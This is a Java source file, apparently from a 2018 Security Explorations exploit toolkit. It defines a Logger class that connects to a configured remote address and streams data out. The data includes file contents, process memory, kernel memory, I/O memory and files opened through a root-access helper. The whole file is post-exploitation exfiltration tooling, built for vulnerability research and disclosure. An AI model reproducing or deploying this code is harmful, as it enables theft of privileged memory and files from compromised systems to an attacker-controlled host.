/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

import java.lang.*;
import java.io.*;

public class Logger {

 private static CommChannel cc;
 private static Logger l;

 public static int BUFSIZE=1024;

 static {
  try {
   String host=ConfigDefs.LOGGER_ADDR;
   int port=ConfigDefs.LOGGER_PORT;

   cc=new CommChannel(host,port);
   l=new Logger();
  } catch(Throwable t) {}
 }

 public static Logger getInstance() {
  return l;
 }

 public void eof() throws Throwable {
  cc.flush_outbuf();
 }

 public void log(String s) throws Throwable {
  cc.write_int(0);  
  cc.write_string(s);
 }

 public void dump_file(String filename) throws Throwable {
  File f=new File(filename);
  dump_file(filename,(int)f.length());
 }

 public void dump_file(String filename,int len) throws Throwable {
  int i,j;

  byte data[]=new byte[BUFSIZE];

  boolean canopen=false;

  try {
   FileInputStream fis=new FileInputStream(filename);
   fis.close();
   canopen=true;
  } catch(Throwable t) {}

  if (!canopen) return;

  try {
   FileInputStream fis=new FileInputStream(filename);

   cc.write_int(1);
   cc.write_string(filename);
   cc.write_int(len);

   int total=len;

   while(total>0) {
    int size=(total>BUFSIZE) ? BUFSIZE:total;
    int cnt=fis.read(data,0,size);

    if (cnt==-1) {
     break;
    } 

    for(j=0;j<cnt;j++) {
     cc.put_byte(((int)data[j])&0xff);
    }

    total-=cnt; 
   }

   fis.close();
  } catch(Throwable t) {
   throw t;
  } 
 }

 public void dump_file_unknown_size(String filename) throws Throwable {
  int i,j;

  byte data[]=new byte[BUFSIZE];

  boolean canopen=false;

  try {
   FileInputStream fis=new FileInputStream(filename);
   fis.close();
   canopen=true;
  } catch(Throwable t) {}

  if (!canopen) return;

  try {
   FileInputStream fis=new FileInputStream(filename);

   cc.write_int(2);
   cc.write_string(filename);

   while(true) {
    int c=fis.read();

    if (c==-1) {
     cc.write_int(-1);
     break;
    } 

    cc.write_int(c);
   }

   fis.close();
  } catch(Throwable t) {
   throw t;
  } 
 }

 public void log_buf(byte[] buf) throws Throwable {
  cc.write_int(3);
  cc.write_buf(buf);
 }

 public void dump_mem(String name,int addr) throws Throwable {
  try {
   cc.write_int(2);
   cc.write_string(name);

   while(true) {
    int c=Memory.read_byte(addr);
    cc.write_int(c);
    addr++;
    if (false) break;
   }

  } catch(Throwable t) {
   throw t;
  } 

 }

 public void dump_mem_with_size(String name,int addr,int size) throws Throwable {
  try {
   cc.write_int(1);
   cc.write_string(name);
   cc.write_int(size);

   while(size>0) {
    int c=Memory.read_byte(addr);
    cc.write_int(c);
    addr++;
    size--;
   }

  } catch(Throwable t) {
   throw t;
  } 

 }

 public void dump_kmem(String name,int addr) throws Throwable {
  try {
   cc.write_int(2);
   cc.write_string(name);

   NativeCode nc=NativeCode.getInstance();
   int ptr=nc.malloc(0x1000);

   while(true) {
    int size=Kmem.read(addr,ptr,0x1000);

    for(int i=0;i<size;i++) {
     int c=Memory.read_byte(ptr+i);
     cc.write_int(c);
    }

    addr+=size;

    if (false) break;
   }

  } catch(Throwable t) {
   throw t;
  } 

 }

 public void dump_kmem_with_size(String name,int addr,int size) throws Throwable {
  try {
   cc.write_int(1);
   cc.write_string(name);
   cc.write_int(size);

   NativeCode nc=NativeCode.getInstance();
   int ptr=nc.malloc(0x1000);

   while(size>0) {
    int ksize=0x1000;
    if (size<ksize) ksize=size;

    ksize=Kmem.read(addr,ptr,ksize);

    for(int i=0;i<ksize;i++) {
     int c=Memory.read_byte(ptr+i);
     cc.put_byte(c);
    }

    addr+=ksize;
    size-=ksize;
   }

   NativeCode.getInstance().free(ptr);
  } catch(Throwable t) {
   throw t;
  } 

 }

 public void dump_iomem_with_size(String name,int addr,int size) throws Throwable {
  try {
   cc.write_int(1);
   cc.write_string(name);
   cc.write_int(size);

   while(size>0) {
    int c=IOMem.in_dword(addr);

    cc.put_byte(c&0xff);
    cc.put_byte((c>>8)&0xff);
    cc.put_byte((c>>16)&0xff);
    cc.put_byte((c>>24)&0xff);

    addr+=4;
    size-=4;
   }

  } catch(Throwable t) {
   throw t;
  } 

 }

 public static void dolog(String s) {
  try {
   l.log(s);
  } catch(Throwable t) {}
 }

 public void dump_file_with_size(String name,int size) throws Throwable {
  try {
   cc.write_int(1);
   cc.write_string(name);
   cc.write_int(size);

   NativeCode nc=NativeCode.getInstance();
   int ptr=nc.malloc(0x1000);

   int fd=RootAccess.open(name,0);
   if (fd<0) return;

   while(size>0) {
    int ksize=0x1000;
    if (size<ksize) ksize=size;

    ksize=RootAccess.read(fd,ptr,ksize);

    for(int i=0;i<ksize;i++) {
     int c=Memory.read_byte(ptr+i);
     cc.put_byte(c);
    }

    size-=ksize;
   }

   RootAccess.close(fd); 

   NativeCode.getInstance().free(ptr);
  } catch(Throwable t) {
   throw t;
  } 

 }
}
